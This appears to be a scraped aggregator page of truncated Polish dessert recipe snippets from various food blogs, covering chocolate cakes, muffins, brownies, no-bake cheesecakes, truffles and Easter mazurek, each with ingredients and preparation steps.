spirytusu. Składniki na masę kokosową : 1/2 l słodkiej śmietany kremówki (30 lub 36%); 2 śmietany "Śnieżka"; 1 szklanka adwokata; 1 duża paczka biszkoptów; 2 łyżki wiórków kokosowych; 1 biała czekolada; 3 łyżki słodkiego mleka; 2 łyżki żelatyny; Wykonanie: Biała czekoladę rozpuścić z 1 łyżką mleka. Żelatynę rozpuścić w 2 łyżkach mleka (ja dałam więcej-jakieś 4 łyżki). Śmietanę kremówkę ubić(...)śnieżką, dodać szklankę adwokata, pokruszone biszkopty oraz 2 łyżki wiórków kokosowych, a na końcu rozpuszczoną i schłodzoną lekko czekoladę oraz rozpuszczoną żelatynę. Wszystko dokładnie wymieszać. Przełożenie placka: Połowa biszkoptu-połowa masy budyniowej-ciasto kokosowe-druga połowa masy budyniowej-druga połowa biszkoptu-masa kokosowa. Gotowe ciasto posypać wiórkami kokosowymi. Ciasto biszkoptowe przed przełożeniem dobrze jest lekko naponczować

In my kitchen
Miętowe orzeźwienie 78

Przepis na to ciasto znalazłam w gazetce "Ciasta na stół" w nr 5/36/2004. Autorką przepisu jest Pani Barbara A. W cieście zaintrygował mnie smak mięty połączonej z czekoladą, no bo przecież to musi być pyszne, nie inaczej:) Przepis trochę pozmieniałam, jak zawsze zresztą:)W efekcie wyszło pyszne ciasto, które zdążyłam już upiec kilka razy!:) Składniki na ciasto: 4 jajka(...)łyżki żelatyny rozpuszczamy w 1/2 l gorącej wody. Dalej postępujemy jak powyżej. Poncz: 0,5 szklanki wody przegotowanej; 0,25 szklanki syropu miętowego; Składniki wymieszać. Dekoracja: 100 g czekolady z nadzieniem miętowym; 4 łyżki śmietany lub mleka; Czekoladę rozpuścić ze śmietaną lub mlekiem. Mieszać, by składniki dobrze się ze sobą połączyły. Wystudzone ciasto przekroić na dwa blaty, które należy naponczować

In my kitchen
Kawowe brownies 113

dziwne, bo przecież to ciasto w wykonaniu jest szybkie, a przy tym świetnie smakuje. Przepis odgapiłam z bloga Dorotki . Składniki: 160 g masła; 4 jajka; 180 g gorzkiej czekolady; 1,25 szklanki cukru; 1 łyżka kawy granulowanej; 1 łyżeczka ekstraktu z wanilii; szczypta soli; 1,5 szklanki mąki; 0,5 szklanki likieru kawowego; Wykonanie: Masło i czekoladę roztopić w garnuszku(...)palnika. Lekko przestudzić.W misce roztrzepać jajka, wanilię, cukier, likier, kawę rozpuszczoną w minimalnej ilości wody. Wymieszać mąkę z solą, dodać do masy jajecznej, zmiksować. Na końcu wmieszać roztopioną czekoladę z masłem. Formę 17 x 27 cm wyłożyć papierem do pieczenia, wlać masę. Piec około 25-30 minut w temperaturze 180 o C. Sprawdzić patyczkiem, czy jest upieczone. Gotowe brownies

In my kitchen
Ciasto "Milka" 216

Wszystkie czynności powtarzamy i pieczemy drugi, taki sam biszkopt. Składniki na krem: 670 ml mleka; 70 g mąki ziemniaczanej lub kukurydzianej; 2,5 łyżki cukru; 70 g białej czekolady; 170 g margaryny (dałam masło); 100 g cukru pudru; Wymieszać w 100 ml mleka mąkę i cukier kryształ. Resztę mleka (570 ml) wlać do garnka, dodać połamaną białą czekoladę i zagotować(...)mączną, ciągle mieszając. Podgrzewać do momentu, aż zgęstnieje (jak budyń), ostudzić. Miękką margarynę (masło) utrzeć z cukrem pudrem, dodawać stopniowo przestudzony budyń.  Składniki na polewę: 140 g mlecznej czekolady; 3 łyżki mleka; 2,5 łyżki cukru; 100 g margaryny (dałam masło); Wszystkie składniki polewy rozpuścić w kąpieli wodnej i dokładnie wymieszać. Ostudzić. Jeden biszkopt posmarować połową kremu, kilka minut

In my kitchen
Rolada czekoladowa 169

Szybki cieniutki biszkopcik, masło, nutella, trochę posiekanych orzechów włoskich i białej czekolady... Brakowało tylko dżemu śliwkowego, bo wtedy roladka była by winniejsza i pewnie mniej słodka:) Ale do kawy i tak fantastyczna! Składniki na ciasto: 5 średnich jajek; 2/3 szklanki cukru kryształu; 2 łyżki kakao; 3/4 szklanki mąki; 1 płaska łyżeczka proszku do pieczenia; Wykonanie: Nie rozpisuję się tutaj(...)taki sam jak w przepisie na wspomnianą powyżej roladkę. Składniki na masę: 200 g masła; 1 mały słoiczek kremu "Nutella"; troszkę spirytusu; garś posiekanych orzechów włoskich, 50 g białej czekolady (jeżeli akurat mamy ochotę:)); powidło śliwkowe; Wykonanie: Masło utrzeć na krem i nadal ucierając dodawać po łyżce "Nutellii". Następnie dodać do smaku troszeczkę spirytusu. Wymieszać. Poncz: 1/2 szklanki mocnej herbaty

In my kitchen
Muffinki pomarańczowe z białą czekoladą 86

pomarańczy; otarta skórka z 2 pomarańczy; 100 ml maślanki; 40 g roztopionego masła; 2,5 łyżeczki proszku do pieczenia; 5 łyżek dżemu pomarańczowego; 100 g groszków (chipsów) z białej czekolady lub posiekanej białej czekolady; Wykonanie: W jednym naczyniu wymieszać składniki suche: mąkę pszenną, otręby, cukier, proszek do pieczenia. W drugim naczyniu wymieszać składniki mokre: roztrzepane jajko, sok, skórkę, maślankę, masło(...)dżem. Połączyć ze sobą zawartość obu naczyń, wymieszać z grubsza, dodając pod koniec białą czekoladę. Formę do muffinek wyłożyć papilotkami. Nałożyć ciasto do 3/4 wysokości papilotki. Piec w temperaturze 190 o C przez około 25 minut do tzw. suchego patyczka. Wyjąć, lekko przestudzić, potem studzić na kratce

In my kitchen
Ciasto czekoladowo-truskawkowe z bananami 118

Czekolada z bananem to bardzo wyborne połączenie i zazwyczaj wszystkim smakuje:) Ale banany w niżej prezentowanym cieście są jedynie miłym akcentem, bo główną rolę grają tutaj: czekoladowe Creme Ole i truskawki w syropie. Ciasto jest smaczne, lekkie. Szkoda tylko, że nie spotkałam do tej pory w naszych sklepach "Creme Ole" Dr Oetker'a:( Tym razem Creme zakupiłam w Czechach:) Biszkopt(...)rozpuścić ją cały czas podgrzewając (uwaga-nie zagotować!). Gorącą żelatynę dodać do kremu, miksując przy tym mikserem na wysokich obrotach. Dodatkowo: 3 banany; dżem truskawkowy( u mnie truskawkowo-bananowy); czekolada gorzka; 250 ml śmietany 30% lub 36%; 1 cukier waniliowy; 1 łyżka cukru pudru; Przestudzony i nasączony biszkopt wyłożyć do tortownicy, w której był wcześniej pieczony. Biszkopt posmarować dżemem

In my kitchen
Kuleczki bananowe 132

Banan i czekolada... Pyszności!! Przepis pochodzi ze Słowacji od pewnej miłej słowaczki:) Polecam te kuleczki, bo robi się je szybko i zaskakują swoim wyglądem. Najlepsze są następnego dnia, kiedy biszkopty zmiękną pod urokiem banana...:)   Składniki: 3  spore banany; 1 opakowanie okrągłych malutkich biszkoptów; 15 dkg czekolady gorzkiej (ja mam ulubioną E.Wedel); 9 dkg margaryny (najlepsza Planta); Wykonanie: Banany(...)obrać ze skóry i pokroić w plastry ( najlepiej około 0,5 cm grubości). Biszkopty przełożyć bananami. Rozpuścić, najlepiej w mikrofali margarynę Plantę, następnie pokruszyć do niej czekoladę i ponownie rozpuścić w kuchence. W ciepłej polewie zanurzać biszkopty przełożone bananami  i układać je na deseczce wyłożonej folią aluminiową lub papierem pergaminowym. Pozostawić do zastygnięcia. Biszkopty najlepiej nabijać na wykałaczkę

In my kitchen
Muffiny z malinami i białą czekoladą 130

proszku do pieczenia; 1 szklanka cukru pudru; 1 szklanka naturalnego jogurtu lub zsiadłego mleka; 2 jaja; 1 cukier waniliowy; 1/3 szklanki oleju; 1 szklanka mrożonych malin; 1/2 tabliczki białej czekolady (50g); Wykonanie: Czekoladę posiekać na drobne kawałki. W jednej misce wymieszać suche składniki: mąkę, proszek do pieczenia, cukier puder i cukier waniliowy. W drugiej misce zmiksować jogurt lub zsiadłe mleko(...)jaja i olej. Zmiksowane składniki dodać do sypkich składników, dodać mrożone maliny oraz czekoladę i wymieszać łyżką tylko do momentu połączenia się składników. Muffiny piec przez 25-30 minut w temperaturze

In my kitchen
Sernik z wiśniami i bananami na zimno 174

sernik zobaczyłam w Małej Cukierni i jako, że serniki uwielbiam, od razu postanowiłam, że go przygotuję. I przygotowałam, a co? Ser, banany, czekolada i wiśnie... ja dołożyłam jeszcze czerwoną porzeczkę, wszystkie składniki świetnie się zgrywają i bardzo do siebie pasują... Zresztą możecie spróbować sami... Spód: 1 łyżeczka kakao; 100 g masła; 150 g mlecznej czekolady; 50 g płatków migdałowych(...)płatków kukurydzianych; Czekoladę i masło roztopić w kąpieli wodnej (w naczyniu nad gotującą się wodą), dodać łyżeczkę kakao i wymieszać. Do ciepłej masy czekoladowej dodać płatki migdałowe i kukurydziane, wymieszać. Tortownicę o średnicy 26 cm posmarować masłem i wyłożyć czekoladową masą. Wstawić do lodówki na godzinę. Krem serowy: 500 g śmietankowego sera (dałam ser biały zmielony); 500 g sera mascarpone

In my kitchen
Trufle różane 143

Romantyczne, różowe, o cudownie lekkim zapachu róży i delikatnym smaku białej czekolady... Pyszne! Składniki: 100 g białej czekolady; 60 g miękkiego masła; 1-2 łyżki wody różanej; 1 żółtko; kilka kropel barwnika różowego (lub czerwonego);     Ponadto: 30 g wiórków kokosowych różowych (lub białych); kilka kropel barwnika różowego lub czerwonego (tylko w przypadku użycia wiórków kokosowych białych);   Czekoladę

In my kitchen
Muffiny z truskawkami i białą czekoladą 115

Smaczne, truskawkowe z nutą białej czekolady muffiny. Warto je przygotować, bo nie dość że sezon truskawkowy w pełni to muffiny jak to muffiny są szybkie w przygotowaniu. Raz, dwa, trzy kwadranse i ile radości przy zajadaniu się truskawkowymi rarytasami:) Polecam:) Składniki na około 18 muffinek: 2 łyżki soku z cytryny; 250 ml mleka; 120 ml oleju; 1 jajko(...)mąki pszennej (przesianej przez sito); 1 płaska łyżeczka proszku do pieczenia; 1/3 łyżeczki sody; szczypta soli; 150 g cukru kryształu; 170 g posiekanej białej czekolady; 200 g obranych pokrojonych truskawek; Wymieszać razem sok z cytryny, mleko, olej, jajko na jednolitą masę. W oddzielnym naczyniu mąkę wymieszać z solą, proszkiem do pieczenia i sodą, dodać cukier, białą czekoladę i ponownie wymieszać

In my kitchen
Truskawkowe rafaello 172

Ciasto wstawić do lodówki, by krem dobrze zastygł. Krem adwokatowy: 250 ml śmietanki 30%; 1 śmietana w proszku "Śnieżka"; 125 ml adwokata; 80 g ciastek biszkoptowych; 50 g białej czekolady; 4 łyżki wiórków kokosowych; 2 łyżeczki żelatyny; Czekoladę rozpuścić z 2 łyżkami śmietanki w "gorącej kąpieli". Przestudzić. Schłodzoną śmietankę ubić z "Śnieżką", następnie cały czas miksując na małych obrotach miksera(...)dodawać kolejno adwokat, czekoladę i pokruszone biszkopty i wiórka kokosowe. Na koniec dodać żelatynę rozpuszczoną w 2 łyżkach gorącej wody. Masę wyłożyć na krem truskawkowy, wyrównać i ciasto ponownie włożyć do lodówki. Krem śmietanowy: 500 ml śmietanki 30%; 2 łyżki cukru pudru; 2 łyżeczki żelatyny; Żelatynę rozpuścić w 2 łyżkach gorącej wody. Schłodzoną śmietankę razem z cukrem ubić na sztywno

In my kitchen
czekoladowe ciasto z kremem budyniowym i orzechami 531

składniki na ciasto czekoladowe: 100 g czekolady deserowej 1 szkl mąki 3/4 szkl cukru 3 jajka 1 łyżeczka proszku do pieczenia wykonanie: Czekoladę łamiemy na kawałki, rozpuszczamy w kąpieli wodnej i odstawiamy do przestudzenia. Jajka ubijamy z cukrem na puszysta masę. Dodajemy mąkę, proszek do pieczenia, mieszamy przy pomocy drewnianej łyżki. Na końcu dodajemy czekoladę, mieszamy. Ciasto przelewamy do wyłożonej

Domowy Smak Jedzenia
Ciasto z Rodzynkami 347

Ciasto z rodzynkami lub śliwkami kalifornijskimi – jak wolicie, jak lubicie… Dużo kremu, delikatny, puszysty, kakaowy biszkopt, czekolada zdobiąca wierzch ciasta… To nie może nie smakować Typowe ciasto ‚masiaste’. I choć ostatnio jestem zwolenniczką lekkich ciast na bazie lekkiego kremu śmietankowego, tak uwierzcie mi, że od czasu do czasu marzą mi się takie konkretne, takie właśnie masiaste ciasta(...)jednej części dodajemy kakao i mieszamy. Na pierwszy biszkopt nakładamy ciemny krem. Przykrywamy drugim biszkoptem. Na wierzch wykładamy jasny krem. Wygładzamy. Posypujemy rodzynkami lub kawałkami śliwek kalifornijskich. Polewamy czekoladą rozpuszczoną w kąpieli wodnej z odrobiną mleka. Przed podaniem chłodzimy w lodówce kilka godzin i tam też przechowujemy. Dodatkowo: rodzynki lub śliwki kalifornijskie 200 g mlecznej lub gorzkiej czekolady

Made By Mom And Son
Sernik malinowy z musem czekoladowym, bez pieczenia 240

pudru 200 g malin 20-30 g cukru 150 g śmietany kremówki 36% 1 łyżka żelatyny na 2 łyżki wody Mus czekoladowy: 250 g śmietany kremówki 30% 100 g czekolady deserowej 2 łyżki żelatyny na 4 łyżki wody Dekoracja: Mrożone maliny Przygotowanie: Spód: 1. Herbatniki pokruszyć. Następnie używając blendera zmielić je na proszek. 2. Dodać ciepłe masło- ale nie klarowane(...)godzin) Mus czekoladowy: 1.Śmietanę ubić na sztywno pod koniec ubijania dodać cukier puder 2. Żelatynę rozpuścić w wodzie i odstawić na 10-15 minut by napęczniała. 3. Rozpuścić czekoladę w kąpieli wodnej. 4. Rozpuszczoną czekoladę w raz z pozostałą żelatyną dodać do śmietany i dokładnie zmieszać za pomocą miksera na dużych obrotach. 5. Ułożyć na dobrze schłodzonej masie serowej

KreatywnePiny
3 Bit 188

puszka masy kajmakowej      500 ml śmietany 30%      2 śmietan-fixy      1/2 tabliczki gorzkiej czekolady Przygotowanie:    Budyń ugotować w pół litra mleka. Ostudzić. Zimny budyń zmiksować z masłem i 1 łyżką cukru pudru. Blaszkę wyłożyć papierem do pieczenia. Ułożyć herbatniki. Na herbatniki wyłożyć masę budyniową i wyrównać(...)ułożyć herbatniki a na nich rozsmarować masę kajmakową. Na kajmak ułożyć herbatniki. Śmietanę ubić z cukrem pudrem i śmietan-fixami i wyłożyć na herbatniki. Na górę zetrzeć na tarce czekoladę. Warstwy od spodu: herbatniki-masa budyniowa-herbatniki-masa kajmakowa-herbatniki-ubita śmietana-starta czekolada

Amatorka kuchenna
Kawa Mocca 161

górze. Niestety takie nalewanie kawy wymaga precyzji. Mam nadzieje, że w końcu się tego nauczę.  Składniki: filiżanka wrzątku łyżka kawy rozpuszczalnej puszka mleka skondensowanego słodzonego 3 kostki czekolady szczypta kardamonu szczypta imbiru szczypta anyżu szczypta cynamonu Bita śmietana do dekoracji  Wykonanie: Do rondelka nalewamy wrzątek, wsypujemy kawę i kostki czekolady. Gdy wszystko się rozpuści dodajemy przyprawy. Podgrzewamy(...)momentu aż czekolada się rozpuści. Do szklanki wlewamy mleko skondensowane i delikatnie wlewamy kawę tak aby warstwy nie pomieszały się. (Niestety mnie się ta sztuka nie udała. Mam nadzieje, że następnym razem będzie lepiej) Wszystko dekorujemy bitą śmietaną

ciastkarnia na kruchym spodzie
Bezglutenowy "sernik" jaglany z borówkami, Przyjaciele 173

zadziwiająco podobne w smaku do sernika – parę osób to właśnie powiedziało po jego skosztowaniu i nie mogło uwierzyć, że nie ma w nim sera i jajek (!). Jeśli pominiemy białą czekoladę, będzie wegańskie. Krem kokosowy i kruche ciasto podpatrzone w sieci. Reszta to moja inwencja twórcza:). P.S. Aby uzyskać mąkę jaglaną, wystarczy zmielić kaszę jaglaną w młynku do kawy. Myślę(...)opakowanie kremu kokosowego ksylitol (ewentualnie cukier puder lub inne sypkie słodziwo - dowolna ilość) 1 szklanka borówek + do dekoracji 1 duża garść (mogą być mrożone lub przetwory) 2 tabliczki białej czekolady na polewę Ugotuj kaszę na mleku (może być lekko rozgotowana). Dodaj sok z cytryny, ksylitol i pokrojony na kawałki krem kokosowy. Wszystko dokładnie zblenduj na gładką masę. Podziel

Qlinarnie i Qlinarnie
Czekoladowo kokosowa fasolinka :) 129

czerwonej fasoli gotowanej na parze Bonduelle (razem 250 g) 1 duży dojrzały banan 1 czubata łyżka miodu 2 małe jajka 1 płaska łyżeczka sody oczyszczonej 50 g gorzkiej czekolady 1 czubata łyżka kakao Składniki na ciasto jasne: 2 małe puszki "na raz" białej fasoli gotowanej na parze Bonduelle (razem 250 g) 1 duży dojrzały banan 1 czubata łyżka miodu(...)małe jajka 1 płaska łyżeczka sody oczyszczonej 80 g wiórków kokosowych 2 łyżki oleju kokosowego 100 ml mleka Do ozdobienia: gęsty jogurt/serek naturalny truskawki  Przygotowanie: Ciasto ciemne - czekoladę rozpuść z kąpieli wodnej. Wszystkie składniki (w tym rozpuszczoną czekoladę) przełóż do malaksera i zmiksuj bądź przy użyciu blendera zblenduj na gładką masę.  Ciasto jasne - olej kokosowy podgrzej do postaci

Zdrowie na języku :P
Brownie z truskawkami 141

Składniki: 100 g mąki pszennej 150 g cukru  3/4 łyżeczki proszku do pieczenia 2 jajka 100 g czekolady deserowej 100 g masła 200 g truskawek świeżych- jeśli są mrożone- muszą być całkowicie odmrożone przed dodaniem ich do ciasta 1/2 łyżeczki whisky- opcjonalnie Dekoracja: kakao do oprószenia Przygotowanie: 1. Do garnka wlać wodę i podgrzewać na małym ogniu(...)podgrzewającej wody dodać masło, podgrzewać do momentu rozpuszczenia i zmieszania się produktów, mieszać od czasu do czasu 3. Delikatnie przestudzić 3. Czekoladę rozpuścić w kąpieli wodnej. 4. Rozpuszczoną czekoladę połączyć z cukrem, jajkami, mąką, proszkiem do pieczenia. Zmieszać mikserem do otrzymania gładkiej masy. Opcjonalnie dodać alkohol, zmieszać. 5. Następnie dodać masę maślaną. i znów zmieszać do całkowitego połączenia się składników

KreatywnePiny
933. Słodka strona Wielkanocy. 189

rodziną, nawet tą najbliższą, widywaną na co dzień ;)  A teraz zostawiam was z pożądaną dawką słodkości, a sama idę .. robić nic - prawa świąt xd  sernik cappucino z czekoladą, na spodzie browni z polewą z nutelli   I. babka marmurkowa z kawałkami czekolady II. babka jogurtowa z lukrem ( dla cioci ^^) domowy "kopiec kreta" (biszkopt, banany, krem z mascarpone(...)kawałkami bananów i czekolady) długo wyczekiwany mój pierwszy w życiu blok czekoladowy, pierwsza próba wykonana z powodzeniem ^^ (z herbatnikami i słupkami migdałów

More food, love and dreams
Mocno czekoladowe brownie z kajmakiem :) 216

wiem jeszcze na jak długo, ale zostawiam Was z przepysznym brownie, który znalazłam u Sandry kilka dni temu - Wy tez powinniście go wypróbować! :) Składniki: 200g masła 300g gorzkiej czekolady 4 jajka 1/3 szkl. kakao 1 i 1/3 szkl. mąki 1 i 1/2 szkl. brązowego cukru 1 łyżeczka proszku do pieczenia Dodatkowo - kajmak, 100g drobinek czekoladowych i garść ulubionych orzechów(...)przygotować? Masło wrzucić do garnka wraz z czekoladą i pozwolić, aby składniki całkowicie się rozpuściły - co jakiś czas mieszać , aby czekolada nie przypaliła się do garnka. Jajka utrzeć w mikserze wraz z cukrem na gładką masę. Następnie dodać czekoladową mieszankę i dobrze zmiksować. Teraz wsypujemy przesianą mąkę, kakao oraz proszek do pieczenia i mieszamy wszystkie składniki.  Formę - ja użyłam

Chocolate Stop Tempting
Ciasto czekoladowe z burakami 187

Składniki: 2 - 3 łyżki kakao (lub 200 g gorzkiej czekolady), 4 jajka, 3/4 szklanki brązowego cukru, 1/2 szklanki białego cukru, 1 cukier waniliowy,3/4 szklanki oleju, 2 łyżeczki proszku do pieczenia, 1 łyżeczka sody, 2 łyżeczki cynamonu, niepełna szklanka mąki, 2 starte, średniej wielkości buraki (ok. 250 g), 150 - 200 g czekolady na polewę Przygotowanie: Cukier i cukier waniliowy utrzeć(...)olej i starte na drobnej tarce buraczki (odcisnąć z soku)Wszystko dokładnie wymieszać. Przelać do natłuszczonej formy. Piec w temp. 180°C ok 50 - 60min. ( w zależności od piekarnika). Czekoladę połamać na kawałeczki i rozpuścić. Polać nią upieczone ciasto. odstawić do ostygnięcia

kulinarnajamka.blogspot.com
Mazurek z dżemem brzoskwiniowym i kajmakiem 130

Składniki na formę 30 cm: 200 g masła 200 g mąki pszennej 70 g cukru pudru 150 g dżemu brzoskwiniowego 400 g masy kajmakowej kupnej lub domowej 50 g czekolady mlecznej migdały do przybrania kandyzowana skórka do przybrania CZAS PRZYGOTOWANIA: 30 MIN+ studzenie POZIOM TRUDNOŚCI: ŁATWY 1. Masło drobno siekamy lub ucieramy na tarce, dodajemy mąkę i cukier puder. Zagniatamy(...)czas rozgrzewania piekarnika. 2. Piekarnik rozgrzewamy do 190 stopni Celsjusza. Ciasto prosto z lodówki wkładamy do piekarnika i pieczemy 20 minut. Wyciągamy i odstawiamy do ostygnięcia.  3. Czekoladę rozpuszczamy w kąpieli wodnej. Połowę dodajemy do masy kajmakowej i bardzo dokładnie mieszamy. Wykładamy na kruchy spód, dekorujemy pozostałą czekoladą (tworzymy esy-floresy), płatkami migdałów i/lub kandyzowaną skórką pomarańczy. Możemy podać

My Culinary Art
Mazurek-jajko kinder niespodzianka 161

Składniki: Ciasto czubata szklanka mąki 2 łyżki cukru pudru 1 żółtko łyżka śmietany 100 gram margaryny do wypieków Ponad to : mleczna czekolada, biała czekolada Wszystkie składniki na kruche ciasto łączymy ręcznie lub mikserem. Wyrabiamy kulę. Umieszczamy w lodówce na minimum godzinę. Następnie wałkujemy i formujemy kształt jaja. Czekolady rozpuszczamy w kąpieli wodnej. Wlewamy na przemian na wystudzony spód i zdobimy

KuukBuuk
Mleczne ciasteczka 143

osłodę mojej nieobecności dzisiaj przepis na słodkości. Do tego przepisu zabierałam się od 2 miesięcy, ale a to w domu nie miałam mleka w proszku, a to białej czekolady za mało a to zabrakło mąki. W końcu się spięłam i zrobiłam, i żałuję, że tak późno się za nie wzięłam, bo są pyszne. Idealne do kawki. Z przepisu wychodzi trochę(...)mąki - 0,5 szklanki mleka w proszku - 1 łyżeczka proszku do pieczenia - 1 łyżeczka ekstraktu z wanilii - 150g miękkiego masła - 0,5 szklanki cukru pudru - 2 jajka - 125g białej czekolady (posiekanej) Masło utrzeć z cukrem na jasną, puszystą masę. Jajka rozkłócić w miseczce i powoli dodawać do masy maślanej, cały czas miksując (zbyt szybkie dodanie jajek spowoduje zważenie się masy

CookYourself
Brioszka z dżemem pomarańczowym i sosem waniliowym 114

drożdży - 1 łyżeczka soli - 100ml ciepłego mleka - 3 jajka - 170g miękkiego masła - 1 słoiczek dżemu pomarańczowego (najlepiej z kawałkami skórki pomarańczowej) - 0,5 szklanki śmietany kremowej 30% - 50g białej czekolady - ziarenka z 1 laski wanilii Z drożdży, mleka, 1 łyżeczki cukru i 1 łyżki mąki zrobić rozczyn. Odstawić do wyrośnięcia na 10 minut w ciepłe miejsce. Do miski przesiać mąkę(...)upieczeniu, ciasto należy od razu wyjąć z piekarnika. Po 15 minutach należy zdjąć obręcz z formy i studzić jeszcze przez kilkanaście minut. Śmietankę wlać do rondelka, dodać połamaną białą czekoladę oraz wanilię. Podgrzewać na małym ogniu, do rozpuszczenia się czekolady. Sos wystudzić i polać nim brioszkę. Smacznego! * przepis pochodzi ze strony 'Kwestia Smaku

CookYourself
Pełnoziarniste owsiane ciastka z żurawiną i słonecznikiem 91

ever! W wersji XL, ale to kwestia gustu ;) Mega sycące, nie za słodkie, z mąki pełnoziarnistej, z żurawiną i słonecznikiem. Niebo w gębie! Do tego kubek kawy lub gorącej czekolady i odpływam ;) Mojemu Mężowi tak zasmakowały, że po upieczeniu, zjadł 4 sztuki xl - a sam mówi, że za słodyczami nie przepada ;) Polecam! 'pełnoziarniste owsiane ciastka z żurawiną i słonecznikiem' Składnik(...)miękkiego masła - 3/4 szklanki brązowego cukru - 2 jajka - 1 łyżeczka ekstraktu z wanilii - 4 łyżki słonecznika (prażonego*) - 2-3 łyżki suszonej żurawiny - pół łyżeczki sody oczyszczonej - polewa z gorzkiej czekolady (opcjonalnie) Mąkę, sodę i cukier wsypać do miski. Dodać jajka, ekstrakt waniliowy i masło i zacząć wyrabiać. Dodać uprażone płatki owsiane (ciepłe) i uprażony słonecznik (ciepły). Wyrobić, tak aby wszystkie

CookYourself
Zielone ciasto szpinakowe, bez jajek, z polewą czekoladową 153

szklanka mąki pszennej - 1 szklanka wiórków kokosowych - 0,5 szklanki brązowego cukru - 0,5 szklanki mleka - 1/3 szklanki oleju - 1 łyżeczka proszku do pieczenia - 50 ml mleka - 50g gorzkiej czekolady (min.70%) - 1 łyżka cukru pudru - 1 łyżka masła Wiórki uprażyć delikatnie na patelni. Przestudzić. Do miski wsypać mąkę, cukier, proszek do pieczenia i wiórki. Wymieszać. W drugiej misce wymieszać(...)piekarniku nagrzanym do 180C przez ok 40 - 50 minut, do tzw. "suchego patyczka". Gdyby ciasto za mocno się przypalało, przykryć folią aluminiową z wierzchu.  Ciasto po upieczeniu przestudzić. Czekoladę posiekać i zalać gorącym mlekiem (uwaga! musi być to gotujące się mleko, inaczej czekolada się nie rozpuści!), dodać masło i cukier. Mieszać do uzyskania jednolitej, błyszczącej masy. Polać wystudzone ciasto

CookYourself
Ciasto czekoladowe z masą karmelową i solonymi orzeszkami ziemnymi 312

mnie przepis zostaje do ciast z bardzo słodkimi kremami. 'czekoladowe ciasto z masą karmelową i solonymi orzeszkami ziemnymi' Składniki: * ciasto: (na keksówkę o wymiarach 25x10) - 100g masła - 100g gorzkiej czekolady - 1/4 szklanka drobnego cukru - 1 szklanka mąki pszennej - 2 jajka - 3/4 łyżeczki proszku do pieczenia - 1 łyżeczka ekstraktu z wanilii - szczypta soli * masa karmelowa: - 50g masła - 1/3 szklanki cukru(...)szklanki wody - 200g serka mascarpone - 1/2 szklanki śmietanki kremówki - 200g mleka w proszku - 100g solonych orzeszków ziemnych * polewa karmelowa: - 50g masła - 100g cukru - 1/2 szklanki śmietany kremówki Czekoladę rozpuścić z masłem w kąpieli wodnej. Lekko przestudzić. Białka oddzielić od żółtek. Żółtka utrzeć z cukrem na puszystą i białą masę. Pod koniec ubijania dodać ekstrakt z wanilii. Następnie dodać cienką strużką

CookYourself
Krem, masło czekoladowo-korzenne "Speculoos" z ciastkami Spekulatius 137

czystym sumieniem.  Tym przepisem, rozpoczynam cykl korzenno-cynamonowych wypieków na blogu :) 'krem, masło czekoladowo-korzenne "Speculoos" z ciastkami Spekulatius' Składniki : (na 1 słoik) - 150g ciasteczek Spekulatius - 50g białej czekolady - 50g gorzkiej czekolady - 60g miodu - 100ml mleka - 50ml oleju Ciastka rozłożyć na blaszce i piec je w piekarniku nagrzanym do 150C przez 10 minut. W tym czasie, rozpuścić, na średnim(...)ogniu, miód w mleku. Nie doprowadzić do wrzenia. Ciastka połamać i przełożyć je do malaksera. Zmiksować z czekoladą (białą i gorzką). Dodać ciepłe mleko z miodem i olej. Dokładnie wymieszać. Przelać do słoika i przestudzić. Przechowywać w lodówce. Smacznego! * ciastka możecie kupić np. w Lidlu * przepis pochodzi z bloga 'Bistro Mama' (z moimi modyfikacjami

CookYourself
Sernik speculoos 166

22cm) * spód: - 150g pokruszonych ciastek speculoos (lub zwykłych herbatników) - 50g masła - 1 łyżeczka cynamonu i przyprawy korzennej (jeśli używamy herbatniki) * masa: - 500g sera na sernik - 5 jajek - 100g białej czekolady - 3/4-1 szklanka cukru (do smaku) - 60g pokruszonych ciastek speculoos - 1 łyżeczka przyprawy korzennej * wierzch: - 200g śmietany 18% - 2 łyżki cukru - 3 łyżki świeżo zaparzonego espresso Spód: Ciasteczka (pokruszone) wymieszać(...)masłem. Lub ciastka i masło włożyć do malaksera i zmiksować na jednolita masę. Wyłożyć dno tortownicy (wcześniej wyłożonej papierem do pieczenia). Piec w 170C (termoobieg) przez 7 minut. Masa: Czekoladę roztopić w kąpieli wodnej. Jajka utrzeć na puszystą masę z cukrem. Partiami dodawać ser. Wymieszać. Dodać rozpuszczoną czekoladę, przyprawę i ciastka. Delikatnie wymieszać do połączenia całości. Wylać na podpieczony spód

CookYourself
Wuzetka 144

sklepowych nie lubię. Po pierwsze są za słodkie, po drugie za wilgotne i ta sztuczna bita śmietana.  Domowa jest o niebo lepsza. Aaaa i ta polewa z gorzkiej czekolady - palce lizać. Polecam! 'wuzetka' Składniki: * ciasto: - 7 jajek - 2/3 szklanki gorzkiego kakao - 2/3 szklanki mąki pszennej - 2/3 szklanki cukru * masa: - 1l śmietany kremówki (schłodzonej) - 3/4-1 szklanka cukru pudru - 1 łyżka(...)żelatyny* * polewa: - 200g gorzkiej czekolady - 1-2 łyżki cukru - 2 łyżki masła - 200ml mleka  * dodatkowo: - 1 słoiczek powideł śliwkowych - sok z 1 limonki - 5 łyżek malibu Ciasto: Białka oddzielić od żółtek. Białka zmiksować do spienienia się. Dodawać po 1 łyżce cukru i ubić na sztywno. Pod koniec ubijania dodawać po jednym żółtku. Kolejne dodawać w momencie, kiedy poprzednie zostanie

CookYourself
Mazurek z kajmakiem i pijanymi bakaliami 155

pieczenia. Piec w temperaturze 170 stopni przez około 20 minut. Wystudzić. Masa: 250 g masy krówkowej 75 g rodzynek 50 g żurawiny 25 ml rumu 50 g gorzkiej czekolady Rodzynki i żurawinę zalać rumem, wymieszać i odłożyć na około 2 godziny, by bakalie dobrze zmiękły i "napiły" się rumu. Czekoladę rozpuścić w kąpieli wodnej, odłożyć. Masę krówkową wymieszać z przygotowanymi(...)wcześniej bakaliami. Rozsmarować na cieście. Z wierzchu udekorować rozpuszczoną czekoladą. Smacznego :) Przepis dodaję do akcji

Domowa cukiernia Ewy
Tort mazurkowy migdałowo-kawowy, ze śmietankowo-czekoladowym kremem i kawową galaretką 192

